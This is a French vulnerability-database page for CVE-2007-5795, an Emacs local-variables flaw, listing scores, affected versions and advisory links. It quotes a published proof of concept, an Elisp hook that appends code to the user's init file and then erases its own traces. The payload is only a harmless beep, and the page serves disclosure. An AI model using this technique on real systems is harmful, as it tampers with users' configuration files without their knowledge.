CVE-2007-5795 : Détail

CVE-2007-5795

0.09%V3
Local
2007-11-02 21:00 +00:00
2017-07-28 10:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

The hack-local-variables function in Emacs before 22.2, when enable-local-variables is set to :safe, does not properly search lists of unsafe or risky variables, which might allow user-assisted attackers to bypass intended restrictions and modify critical program variables via a file containing a Local variables declaration.

Informations

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 6.3 AV:L/AC:M/Au:N/C:N/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 30736

Date de publication : 2007-11-01 23:00 +00:00
Auteur : Drake Wilson
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/26327/info Emacs is prone to a vulnerability that lets attackers execute arbitrary code. Due to a design error, the application ignores certain security settings and modifies local variables. By supplying a malicious file, an attacker can exploit this issue to carry out various attacks, including executing arbitrary code in the context of the application. This may facilitate remote unauthorized access. This issue affects Emacs 22.1; other versions may be vulnerable as well. This is a harmless text file. Or at least it looks like one. In fact, it is. But it's almost not. If you were to change the word "variaboles" below to "variables", then load it into a vulnerable Emacs 22 with `enable-local-variables' set to :safe, it would rewrite the local variables list in the buffer itself to _look_ like a harmless text file, while in fact managing to add some evil code to the end of your user-init-file. Woopsy. | Local variaboles: | hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode)))) | End:

Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version *

Gnu>>Emacs >> Version To (including) 22.1

Configuraton 0

Gnu>>Emacs >> Version To (including) 22.1

References

http://secunia.com/advisories/27984
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27728
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/3715
Tags : vdb-entry, x_refsource_VUPEN
http://osvdb.org/42060
Tags : vdb-entry, x_refsource_OSVDB
http://www.ubuntu.com/usn/usn-541-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/29420
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2008:034
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/bid/26327
Tags : vdb-entry, x_refsource_BID
http://security.gentoo.org/glsa/glsa-200712-03.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/27508
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27627
Tags : third-party-advisory, x_refsource_SECUNIA
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.